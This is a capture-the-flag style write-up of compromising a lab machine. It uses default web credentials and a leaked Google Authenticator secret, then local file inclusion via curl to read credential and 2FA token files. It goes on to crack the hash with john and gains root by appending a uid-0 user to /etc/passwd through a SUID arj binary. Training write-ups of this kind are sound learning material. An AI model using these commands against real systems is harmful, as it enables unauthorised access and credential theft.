Web Enum -> Google Auth

Visiting port 80 requires credentials:

admin:admin works. Afterwards, we are just greeted by this:

In the comments, there's a hidden directory:

Googling this leads to some Apache 2FA thing using Google Authenticator:

The repository included this interesting bit here:

So within Google Authenticaotr, we can click the Plus sign in the corner:

We can then enter this key:

After adding this, we would get a OTP every 30 seconds as with normal Google Authenticator:

Keying in this 2FA token would grant us access to the web page:

LFI -> User Creds + Token

The website is obviously vulnerable to some form of exploit. When we run it and view the result, it shows us the results by reading from a file:

This is very obviously vulnerable to LFI, and we can use that to read other files.

There weren't any SSH keys to read for the fox user. However, the Github repo did mention that there is an apache_credentials file somewhere on this machine.

After some testing, I found in within the /opt directory:$ curl -H 'Cookie: 2FA_Auth=junH2NR79pTrLiI800JewoWsESYCry6Xbz4oaIJ71VlhUKEHPNcdHsq4I6uK1CZUMKBz1ZExSDC0OcpmcFEyojXc823DIB9PA6ExXs' -G --data-urlencode 'view=/opt/apache_2fa/apache_credentials' http://192.168.202.144/spool/viewresult.php

This can be cracked easily:

$ john --wordlist=/usr/share/wordlists/rockyou.txt hash
Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead

Session completed.

However, we cannot just SSH in:

$ ssh fox@192.168.202.144                   
(fox@192.168.202.144) Password: 
(fox@192.168.202.144) Verification code:

The user has 2FA too! So we need to steal the tokens.json file as well.

$ curl -H 'Cookie: 2FA_Auth=junH2NR79pTrLiI800JewoWsESYCry6Xbz4oaIJ71VlhUKEHPNcdHsq4I6uK1CZUMKBz1ZExSDC0OcpmcFEyojXc823DIB9PA6ExXs' -G --data-urlencode 'view=/opt/apache_2fa/tokens.json' http://192.168.202.144/spool/viewresult.php
<pre>{
  "admin": "ND4LKCSFMUQISO6CBZQATLDP",
  "fox": "RTW2ARWLJZRWUCN54UO22FDQ6I"
}

Afterwards, we can do the same thing with Google Authenticator to get a 2FA code to ssh in:

Privilege Escalation

I ran a linpeas.sh to find possible vectors, and it picked up on one SUID binary:

════════════════════════════════════╣ Interesting Files ╠════════════════════════════════════

<TRUNCATED>

GTFOBins has an entry for this:

To exploit this, we can add a new root user. First, we can generate a new passwd file with our new user and hash, then overwrite it using arj.

$ openssl passwd -1 hello123
$1$IcHRZy7h$w3kdNeqGjC1Z50bTlQehS/

cp /etc/passwd passwd
echo 'ez:$1$IcHRZy7h$w3kdNeqGjC1Z50bTlQehS/:0:0::/root:/bin/bash' >> passwd
arj a "passwd" "passwd"
arj e "passwd.arj" "/etc"

Rooted!
